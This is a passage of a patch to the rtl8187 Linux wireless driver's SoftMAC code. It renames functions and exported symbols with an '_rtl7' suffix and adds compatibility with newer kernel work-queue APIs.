= jiffies; } } - - - ieee80211_txb_free(ieee->tx_pending.txb); + + + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } -void ieee80211_reset_queue(struct ieee80211_device *ieee) +void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; - + spin_lock_irqsave(&ieee->lock,flags); - init_mgmt_queue(ieee); + init_mgmt_queue_rtl7(ieee); if (ieee->tx_pending.txb){ - ieee80211_txb_free(ieee->tx_pending.txb); + ieee80211_txb_free_rtl7(ieee->tx_pending.txb); ieee->tx_pending.txb = NULL; } ieee->queue_stop = 0; @@ -1710,23 +1739,23 @@ } -void ieee80211_wake_queue(struct ieee80211_device *ieee) +void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee) { unsigned long flags; struct sk_buff *skb; struct ieee80211_hdr_3addr *header; - + spin_lock_irqsave(&ieee->lock,flags); if (! ieee->queue_stop) goto exit; - + ieee->queue_stop = 0; - + if(ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE){ - while (!ieee->queue_stop && (skb = dequeue_mgmt(ieee))){ - + while (!ieee->queue_stop && (skb = dequeue_mgmt_rtl7(ieee))){ + header = (struct ieee80211_hdr_3addr *) skb->data; - + header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); if (ieee->seq_ctrl == 0xFFF) @@ -1738,19 +1767,19 @@ } } if (!ieee->queue_stop && ieee->tx_pending.txb) - ieee80211_resume_tx(ieee); - + ieee80211_resume_tx_rtl7(ieee); + if (!ieee->queue_stop && netif_queue_stopped(ieee->dev)){ ieee->softmac_stats.swtxawake++; netif_wake_queue(ieee->dev); } - + exit : spin_unlock_irqrestore(&ieee->lock,flags); } -void ieee80211_stop_queue(struct ieee80211_device *ieee) +void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee) { //unsigned long flags; //spin_lock_irqsave(&ieee->lock,flags); @@ -1761,81 +1790,88 @@ } ieee->queue_stop = 1; //spin_unlock_irqrestore(&ieee->lock,flags); - + } -inline void ieee80211_randomize_cell(struct ieee80211_device *ieee) +inline void ieee80211_randomize_cell_rtl7(struct ieee80211_device *ieee) { - + get_random_bytes(ieee->current_network.bssid, ETH_ALEN); - + /* an IBSS cell address must have the two less significant - * bits of the first byte = 2 + * bits of the first byte = 2 */ ieee->current_network.bssid[0] &= ~0x01; ieee->current_network.bssid[0] |= 0x02; } /* called in user context only */ -void ieee80211_start_master_bss(struct ieee80211_device *ieee) +void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee) { ieee->assoc_id = 1; - + if (ieee->current_network.ssid_len == 0){ - strncpy(ieee->current_network.ssid, + strncpy(ieee->current_network.ssid, IEEE80211_DEFAULT_TX_ESSID, IW_ESSID_MAX_SIZE); - + ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; } - + memcpy(ieee->current_network.bssid, ieee->dev->dev_addr, ETH_ALEN); - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->state = IEEE80211_LINKED; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } -void ieee80211_start_monitor_mode(struct ieee80211_device *ieee) +void ieee80211_start_monitor_mode_rtl7(struct ieee80211_device *ieee) { if(ieee->raw_tx){ - + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); } } -void ieee80211_start_ibss_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_start_ibss_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, start_ibss_wq); +#else +void ieee80211_start_ibss_wq_rtl7(struct ieee80211_device *ieee) { - +#endif + /* iwconfig mode ad-hoc will schedule this and return * on the other hand this will block further iwconfig SET * operations because of the wx_sem hold. * Anyway some most set operations set a flag to speed-up - * (abort) this wq (when syncro scanning) before sleeping + * (abort) this wq (when syncro scanning) before sleeping * on the semaphore */ - + down(&ieee->wx_sem); - + if (ieee->current_network.ssid_len == 0){ strcpy(ieee->current_network.ssid,IEEE80211_DEFAULT_TX_ESSID); ieee->current_network.ssid_len = strlen(IEEE80211_DEFAULT_TX_ESSID); ieee->ssid_set = 1; - } - + } + /* check if we have this cell in our network list */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* if not then the state is not linked. Maybe the user swithced to * ad-hoc mode just after being in monitor mode, or just after * being very few time in managed mode (so the card have had no @@ -1851,29 +1887,29 @@ * associated. */ if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan_syncro(ieee); + ieee80211_start_scan_syncro_rtl7(ieee); /* the network definitively is not here.. create a new cell */ if (ieee->state == IEEE80211_NOLINK){ - printk("creating new IBSS cell\n"); + printk("creating new IBSS cell\n"); if(!ieee->wap_set) - ieee80211_randomize_cell(ieee); - + ieee80211_randomize_cell_rtl7(ieee); + if(ieee->modulation & IEEE80211_CCK_MODULATION){ - + ieee->current_network.rates_len = 4; - + ieee->current_network.rates[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_1MB; ieee->current_network.rates[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_2MB; ieee->current_network.rates[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_5MB; ieee->current_network.rates[3] = IEEE80211_BASIC_RATE_MASK | IEEE80211_CCK_RATE_11MB; - + }else ieee->current_network.rates_len = 0; - + if(ieee->modulation & IEEE80211_OFDM_MODULATION){ ieee->current_network.rates_ex_len = 8; - + ieee->current_network.rates_ex[0] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_6MB; ieee->current_network.rates_ex[1] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_9MB; ieee->current_network.rates_ex[2] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_12MB; @@ -1882,44 +1918,44 @@ ieee->current_network.rates_ex[5] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_36MB; ieee->current_network.rates_ex[6] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_48MB; ieee->current_network.rates_ex[7] = IEEE80211_BASIC_RATE_MASK | IEEE80211_OFDM_RATE_54MB; - - ieee->rate = 540; + +// ieee->rate = 540; }else{ ieee->current_network.rates_ex_len = 0; - ieee->rate = 110; +// ieee->rate = 110; } - + ieee->current_network.atim_window = 0; ieee->current_network.capability = WLAN_CAPABILITY_IBSS; if(ieee->short_slot) ieee->current_network.capability |= WLAN_CAPABILITY_SHORT_SLOT; - + } - + ieee->state = IEEE80211_LINKED; - + ieee->set_chan(ieee->dev, ieee->current_network.channel); ieee->link_change(ieee->dev); - - notify_wx_assoc_event(ieee); - - ieee80211_start_send_beacons(ieee); - + + notify_wx_assoc_event_rtl7(ieee); + + ieee80211_start_send_beacons_rtl7(ieee); + if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); - + netif_carrier_on(ieee->dev); - + up(&ieee->wx_sem); } -inline void ieee80211_start_ibss(struct ieee80211_device *ieee) +inline void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee) { queue_work(ieee->wq, &ieee->start_ibss_wq); } /* this is called only in user context, with wx_sem held */ -void ieee80211_start_bss(struct ieee80211_device *ieee) +void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee) { unsigned long flags; /* check if we have already found the net we @@ -1927,8 +1963,8 @@ * if not (we are disassociated and we are not * in associating / authenticating phase) start the background scanning. */ - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + /* ensure no-one start an associating process (thus setting * the ieee->state to ieee80211_ASSOCIATING) while we * have just cheked it and we are going to enable scan. @@ -1937,41 +1973,49 @@ * the rx path), so we cannot be in the middle of such function */ spin_lock_irqsave(&ieee->lock, flags); - if (ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); } /* called only in userspace context */ -void ieee80211_disassociate(struct ieee80211_device *ieee) +void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee) { netif_carrier_off(ieee->dev); - + if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE) - ieee80211_reset_queue(ieee); - + ieee80211_reset_queue_rtl7(ieee); + if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - + ieee->state = IEEE80211_NOLINK; ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); - + notify_wx_assoc_event_rtl7(ieee); + } -void ieee80211_associate_retry_wq(struct ieee80211_device *ieee) + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_retry_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, associate_retry_wq); +#else +void ieee80211_associate_retry_wq_rtl7(struct ieee80211_device *ieee) { +#endif unsigned long flags; - + down(&ieee->wx_sem); + if(!ieee->proto_started) goto exit; - + if(ieee->state != IEEE80211_ASSOCIATING_RETRY) goto exit; - - /* until we do not set the state to IEEE80211_NOLINK + + /* until we do not set the state to IEEE80211_NOLINK * there are no possibility to have someone else trying * to start an association procdure (we get here with * ieee->state = IEEE80211_ASSOCIATING). @@ -1981,122 +2025,120 @@ * RX path works with ieee->lock held so there are no * problems. If we are still disassociated then start a scan. * the lock here is necessary to ensure no one try to start - * an association procedure when we have just checked the + * an association procedure when we have just checked the * state and we are going to start the scan. */ ieee->state = IEEE80211_NOLINK; - ieee80211_softmac_check_all_nets(ieee); - + ieee80211_softmac_check_all_nets_rtl7(ieee); + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->state == IEEE80211_NOLINK) - ieee80211_start_scan(ieee); - + ieee80211_start_scan_rtl7(ieee); + spin_unlock_irqrestore(&ieee->lock, flags); exit: up(&ieee->wx_sem); } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee) { u8 broadcast_addr[] = {0xff,0xff,0xff,0xff,0xff,0xff}; - + struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_probe_resp(ieee, broadcast_addr); - - if (!skb) + + skb = ieee80211_probe_resp_rtl7(ieee, broadcast_addr); + + if (!skb) return NULL; - + b = (struct ieee80211_probe_response *) skb->data; b->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_BEACON); - + return skb; - + } -struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; struct ieee80211_probe_response *b; - - skb = ieee80211_get_beacon_(ieee); - if(!skb) + + skb = ieee80211_get_beacon__rtl7(ieee); + if(!skb) return NULL; - - b = (struct ieee80211_probe_response *) skb->data; + + b = (struct ieee80211_probe_response *) skb->data; b->header.seq_ctrl = cpu_to_le16(ieee->seq_ctrl << 4); - + if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; - + return skb; } -void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - ieee80211_stop_protocol(ieee); + + ieee80211_stop_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_stop_protocol(struct ieee80211_device *ieee) +void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee) { if (!ieee->proto_started) return; - + ieee->proto_started = 0; - - ieee80211_stop_send_beacons(ieee); - + + ieee80211_stop_send_beacons_rtl7(ieee); + del_timer_sync(&ieee->associate_timer); - cancel_delayed_work(&ieee->associate_retry_wq); - - ieee80211_stop_scan(ieee); + cancel_delayed_work(&ieee->associate_retry_wq); + + ieee80211_stop_scan_rtl7(ieee); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee) +void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; down(&ieee->wx_sem); - ieee80211_start_protocol(ieee); + ieee80211_start_protocol_rtl7(ieee); up(&ieee->wx_sem); } -void ieee80211_start_protocol(struct ieee80211_device *ieee) +void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee) { short ch = 0; - if (ieee->proto_started) return; - + ieee->proto_started = 1; - + if (ieee->current_network.channel == 0){ do{ ch++; - if (ch > MAX_CHANNEL_NUMBER) + if (ch > MAX_CHANNEL_NUMBER) return; /* no channel found */ - + }while(!ieee->channel_map[ch]); - + ieee->current_network.channel = ch; } - + if (ieee->current_network.beacon_interval == 0) ieee->current_network.beacon_interval = 100; - ieee->set_chan(ieee->dev,ieee->current_network.channel); - ieee->last_seq_num = -1; ieee->last_frag_num = -1; ieee->last_packet_time = 0; @@ -2107,30 +2149,27 @@ * attempts does not fail just because the user provide the essid * and the nic is still checking for the AP MAC ?? */ - + if (ieee->iw_mode == IW_MODE_INFRA) - ieee80211_start_bss(ieee); - + ieee80211_start_bss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_ADHOC) - ieee80211_start_ibss(ieee); - + ieee80211_start_ibss_rtl7(ieee); else if (ieee->iw_mode == IW_MODE_MASTER) - ieee80211_start_master_bss(ieee); - + ieee80211_start_master_bss_rtl7(ieee); else if(ieee->iw_mode == IW_MODE_MONITOR) - ieee80211_start_monitor_mode(ieee); + ieee80211_start_monitor_mode_rtl7(ieee); } #define DRV_NAME "Ieee80211" -void ieee80211_softmac_init(struct ieee80211_device *ieee) +void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee) { memset(&ieee->current_network, 0, sizeof(struct ieee80211_network)); - + ieee->state = IEEE80211_NOLINK; ieee->sync_scan_hurryup = 0; ieee->seq_ctrl = 0; - + ieee->assoc_id = 0; ieee->queue_stop = 0; ieee->scanning = 0; @@ -2142,66 +2181,75 @@ ieee->rate = 3; ieee->ps = IEEE80211_PS_DISABLED; ieee->sta_sleep = 0; - - init_mgmt_queue(ieee); + + init_mgmt_queue_rtl7(ieee); #if 0 init_timer(&ieee->scan_timer); ieee->scan_timer.data = (unsigned long)ieee; ieee->scan_timer.function = ieee80211_softmac_scan_cb; #endif ieee->tx_pending.txb = NULL; - + init_timer(&ieee->associate_timer); ieee->associate_timer.data = (unsigned long)ieee; - ieee->associate_timer.function = ieee80211_associate_abort_cb; + ieee->associate_timer.function = ieee80211_associate_abort_cb_rtl7; init_timer(&ieee->beacon_timer); ieee->beacon_timer.data = (unsigned long) ieee; - ieee->beacon_timer.function = ieee80211_send_beacon_cb; - + ieee->beacon_timer.function = ieee80211_send_beacon_cb_rtl7; + #ifdef PF_SYNCTHREAD ieee->wq = create_workqueue(DRV_NAME,0); -#else +#else ieee->wq = create_workqueue(DRV_NAME); #endif - - INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq,ieee); - INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq,ieee); - INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq,ieee); - INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq,ieee); - INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq,ieee); - INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq,ieee); - + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + INIT_WORK(&ieee->start_ibss_wq,(void(*)(void*)) ieee80211_start_ibss_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_retry_wq,(void(*)(void*)) ieee80211_associate_retry_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_complete_wq,(void(*)(void*)) ieee80211_associate_complete_wq_rtl7,ieee); + INIT_WORK(&ieee->associate_procedure_wq,(void(*)(void*)) ieee80211_associate_procedure_wq_rtl7,ieee); + INIT_WORK(&ieee->softmac_scan_wq,(void(*)(void*)) ieee80211_softmac_scan_wq_rtl7,ieee); + INIT_WORK(&ieee->wx_sync_scan_wq,(void(*)(void*)) ieee80211_wx_sync_scan_wq_rtl7,ieee); +#else + INIT_WORK(&ieee->start_ibss_wq, ieee80211_start_ibss_wq_rtl7); + INIT_DELAYED_WORK(&ieee->associate_retry_wq, ieee80211_associate_retry_wq_rtl7); + INIT_WORK(&ieee->associate_complete_wq, ieee80211_associate_complete_wq_rtl7); + INIT_WORK(&ieee->associate_procedure_wq, ieee80211_associate_procedure_wq_rtl7); + INIT_DELAYED_WORK(&ieee->softmac_scan_wq, ieee80211_softmac_scan_wq_rtl7); + INIT_WORK(&ieee->wx_sync_scan_wq, ieee80211_wx_sync_scan_wq_rtl7); +#endif + sema_init(&ieee->wx_sem, 1); sema_init(&ieee->scan_sem, 1); - + spin_lock_init(&ieee->mgmt_tx_lock); spin_lock_init(&ieee->beacon_lock); - + tasklet_init(&ieee->ps_task, - (void(*)(unsigned long)) ieee80211_sta_ps, + (void(*)(unsigned long)) ieee80211_sta_ps_rtl7, (unsigned long)ieee); } -void ieee80211_softmac_free(struct ieee80211_device *ieee) +void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee) { down(&ieee->wx_sem); - + del_timer_sync(&ieee->associate_timer); cancel_delayed_work(&ieee->associate_retry_wq); destroy_workqueue(ieee->wq); - + up(&ieee->wx_sem); } -/******************************************************** +/******************************************************** * Start of WPA code. * * this is stolen from the ipw2200 driver * ********************************************************/ - -static int ieee80211_wpa_enable(struct ieee80211_device *ieee, int value) + +static int ieee80211_wpa_enable_rtl7(struct ieee80211_device *ieee, int value) { /* This is called when wpa_supplicant loads and closes the driver * interface. */ @@ -2210,19 +2258,19 @@ return 0; } - -void ieee80211_wpa_assoc_frame(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) + +void ieee80211_wpa_assoc_frame_rtl7(struct ieee80211_device *ieee, char *wpa_ie, int wpa_ie_len) { /* make sure WPA is enabled */ - ieee80211_wpa_enable(ieee, 1); + ieee80211_wpa_enable_rtl7(ieee, 1); - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); } -static int ieee80211_wpa_mlme(struct ieee80211_device *ieee, int command, int reason) +static int ieee80211_wpa_mlme_rtl7(struct ieee80211_device *ieee, int command, int reason) { - + int ret = 0; switch (command) { @@ -2231,7 +2279,7 @@ break; case IEEE_MLME_STA_DISASSOC: - ieee80211_disassociate(ieee); + ieee80211_disassociate_rtl7(ieee); break; default: @@ -2243,7 +2291,7 @@ } -static int ieee80211_wpa_set_wpa_ie(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_wpa_ie_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int plen) { u8 *buf; @@ -2267,16 +2315,16 @@ ieee->wpa_ie_len = 0; } - ieee80211_wpa_assoc_frame(ieee, ieee->wpa_ie, ieee->wpa_ie_len); + ieee80211_wpa_assoc_frame_rtl7(ieee, ieee->wpa_ie, ieee->wpa_ie_len); return 0; } #define AUTH_ALG_OPEN_SYSTEM 0x1 #define AUTH_ALG_SHARED_KEY 0x2 -static int ieee80211_wpa_set_auth_algs(struct ieee80211_device *ieee, int value) +static int ieee80211_wpa_set_auth_algs_rtl7(struct ieee80211_device *ieee, int value) { - + struct ieee80211_security sec = { .flags = SEC_AUTH_MODE, }; @@ -2300,13 +2348,13 @@ -static int ieee80211_wpa_set_param(struct ieee80211_device *ieee, u8 name, u32 value) +static int ieee80211_wpa_set_param_rtl7(struct ieee80211_device *ieee, u8 name, u32 value) { int ret=0; switch (name) { case IEEE_PARAM_WPA_ENABLED: - ret = ieee80211_wpa_enable(ieee, value); + ret = ieee80211_wpa_enable_rtl7(ieee, value); break; case IEEE_PARAM_TKIP_COUNTERMEASURES: @@ -2351,7 +2399,7 @@ break; case IEEE_PARAM_AUTH_ALGS: - ret = ieee80211_wpa_set_auth_algs(ieee, value); + ret = ieee80211_wpa_set_auth_algs_rtl7(ieee, value); break; case IEEE_PARAM_IEEE_802_1X: @@ -2368,11 +2416,11 @@ /* implementation borrowed from hostap driver */ -static int ieee80211_wpa_set_encryption(struct ieee80211_device *ieee, +static int ieee80211_wpa_set_encryption_rtl7(struct ieee80211_device *ieee, struct ieee_param *param, int param_len) { int ret = 0; - + struct ieee80211_crypto_ops *ops; struct ieee80211_crypt_data **crypt; @@ -2407,7 +2455,7 @@ //sec.encrypt = 0; sec.level = SEC_LEVEL_0; sec.flags |= SEC_ENABLED | SEC_LEVEL; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } goto done; } @@ -2421,16 +2469,16 @@ strcmp(param->u.crypt.alg, "TKIP")) goto skip_host_crypt; - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); if (ops == NULL && strcmp(param->u.crypt.alg, "WEP") == 0) { - request_module("ieee80211_crypt_wep"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_wep_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "TKIP") == 0) { - request_module("ieee80211_crypt_tkip"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_tkip_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } else if (ops == NULL && strcmp(param->u.crypt.alg, "CCMP") == 0) { - request_module("ieee80211_crypt_ccmp"); - ops = ieee80211_get_crypto_ops(param->u.crypt.alg); + request_module("ieee80211_crypt_ccmp_rtl"); + ops = ieee80211_get_crypto_ops_rtl7(param->u.crypt.alg); } if (ops == NULL) { printk("unknown crypto alg '%s'\n", param->u.crypt.alg); @@ -2442,7 +2490,7 @@ if (*crypt == NULL || (*crypt)->ops != ops) { struct ieee80211_crypt_data *new_crypt; - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); new_crypt = (struct ieee80211_crypt_data *) kmalloc(sizeof(*new_crypt), GFP_KERNEL); @@ -2525,7 +2573,7 @@ -int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p) +int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p) { struct ieee_param *param; int ret=0; @@ -2537,7 +2585,7 @@ ret = -EINVAL; goto out; } - + param = (struct ieee_param *)kmalloc(p->length, GFP_KERNEL); if (param == NULL){ ret = -ENOMEM; @@ -2552,20 +2600,20 @@ switch (param->cmd) { case IEEE_CMD_SET_WPA_PARAM: - ret = ieee80211_wpa_set_param(ieee, param->u.wpa_param.name, + ret = ieee80211_wpa_set_param_rtl7(ieee, param->u.wpa_param.name, param->u.wpa_param.value); break; case IEEE_CMD_SET_WPA_IE: - ret = ieee80211_wpa_set_wpa_ie(ieee, param, p->length); + ret = ieee80211_wpa_set_wpa_ie_rtl7(ieee, param, p->length); break; case IEEE_CMD_SET_ENCRYPTION: - ret = ieee80211_wpa_set_encryption(ieee, param, p->length); + ret = ieee80211_wpa_set_encryption_rtl7(ieee, param, p->length); break; case IEEE_CMD_MLME: - ret = ieee80211_wpa_mlme(ieee, param->u.mlme.command, + ret = ieee80211_wpa_mlme_rtl7(ieee, param->u.mlme.command, param->u.mlme.reason_code); break; @@ -2581,11 +2629,11 @@ kfree(param); out: up(&ieee->wx_sem); - + return ret; } -void notify_wx_assoc_event(struct ieee80211_device *ieee) +void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee) { union iwreq_data wrqu; wrqu.ap_addr.sa_family = ARPHRD_ETHER; @@ -2597,14 +2645,14 @@ } -EXPORT_SYMBOL(ieee80211_get_beacon); -EXPORT_SYMBOL(ieee80211_wake_queue); -EXPORT_SYMBOL(ieee80211_stop_queue); -EXPORT_SYMBOL(ieee80211_reset_queue); -EXPORT_SYMBOL(ieee80211_softmac_stop_protocol); -EXPORT_SYMBOL(ieee80211_softmac_start_protocol); -EXPORT_SYMBOL(ieee80211_is_shortslot); -EXPORT_SYMBOL(ieee80211_is_54g); -EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl); -EXPORT_SYMBOL(ieee80211_ps_tx_ack); -//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame); +EXPORT_SYMBOL(ieee80211_get_beacon_rtl7); +EXPORT_SYMBOL(ieee80211_wake_queue_rtl7); +EXPORT_SYMBOL(ieee80211_stop_queue_rtl7); +EXPORT_SYMBOL(ieee80211_reset_queue_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_stop_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_softmac_start_protocol_rtl7); +EXPORT_SYMBOL(ieee80211_is_shortslot_rtl7); +EXPORT_SYMBOL(ieee80211_is_54g_rtl7); +EXPORT_SYMBOL(ieee80211_wpa_supplicant_ioctl_rtl7); +EXPORT_SYMBOL(ieee80211_ps_tx_ack_rtl7); +//EXPORT_SYMBOL(ieee80211_sta_ps_send_null_frame_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_softmac_wx.c 2006-06-06 04:57:54.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_softmac_wx.c 2008-01-30 17:38:11.000000000 +0100 @@ -1,7 +1,7 @@ /* IEEE 802.11 SoftMAC layer * Copyright (c) 2005 Andrea Merello * - * Mostly extracted from the rtl8180-sa2400 driver for the + * Mostly extracted from the rtl8180-sa2400 driver for the * in-kernel generic ieee802.11 stack. * * Some pieces of code might be stolen from ipw2100 driver @@ -18,23 +18,23 @@ /* FIXME: add A freqs */ -const long ieee80211_wlan_frequencies[] = { - 2412, 2417, 2422, 2427, - 2432, 2437, 2442, 2447, - 2452, 2457, 2462, 2467, - 2472, 2484 +const long ieee80211_wlan_frequencies_rtl7[] = { + 2412, 2417, 2422, 2427, + 2432, 2437, 2442, 2447, + 2452, 2457, 2462, 2467, + 2472, 2484 }; -int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { int ret; struct iw_freq *fwrq = & wrqu->freq; down(&ieee->wx_sem); - - if(ieee->iw_mode == IW_MODE_INFRA){ + + if(ieee->iw_mode == IW_MODE_INFRA){ ret = -EOPNOTSUPP; goto out; } @@ -45,31 +45,31 @@ fwrq->m <= (int) 2.487e8)) { int f = fwrq->m / 100000; int c = 0; - - while ((c < 14) && (f != ieee80211_wlan_frequencies[c])) + + while ((c < 14) && (f != ieee80211_wlan_frequencies_rtl7[c])) c++; - + /* hack to fall through */ fwrq->e = 0; fwrq->m = c + 1; } } - - if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ + + if (fwrq->e > 0 || fwrq->m > 14 || fwrq->m < 1 ){ ret = -EOPNOTSUPP; goto out; - + }else { /* Set the channel */ - - + + ieee->current_network.channel = fwrq->m; ieee->set_chan(ieee->dev, ieee->current_network.channel); - + if(ieee->iw_mode == IW_MODE_ADHOC || ieee->iw_mode == IW_MODE_MASTER) if(ieee->state == IEEE80211_LINKED){ - - ieee80211_stop_send_beacons(ieee); - ieee80211_start_send_beacons(ieee); + + ieee80211_stop_send_beacons_rtl7(ieee); + ieee80211_start_send_beacons_rtl7(ieee); } } @@ -80,7 +80,7 @@ } -int ieee80211_wx_get_freq(struct ieee80211_device *ieee, +int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b) { @@ -88,110 +88,110 @@ if (ieee->current_network.channel == 0) return -1; - + fwrq->m = ieee->current_network.channel; fwrq->e = 0; - + return 0; } -int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { - unsigned long flags; - + unsigned long flags; + wrqu->ap_addr.sa_family = ARPHRD_ETHER; - + if (ieee->iw_mode == IW_MODE_MONITOR) return -1; - + /* We want avoid to give to the user inconsistent infos*/ spin_lock_irqsave(&ieee->lock, flags); - - if (ieee->state != IEEE80211_LINKED && + + if (ieee->state != IEEE80211_LINKED && ieee->state != IEEE80211_LINKED_SCANNING && ieee->wap_set == 0) - + memset(wrqu->ap_addr.sa_data, 0, ETH_ALEN); else - memcpy(wrqu->ap_addr.sa_data, + memcpy(wrqu->ap_addr.sa_data, ieee->current_network.bssid, ETH_ALEN); - + spin_unlock_irqrestore(&ieee->lock, flags); - + return 0; } -int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra) { - + int ret = 0; u8 zero[] = {0,0,0,0,0,0}; unsigned long flags; - + + struct sockaddr *temp = NULL; short ifup = ieee->proto_started;//dev->flags & IFF_UP; - + ieee->sync_scan_hurryup = 1; - + 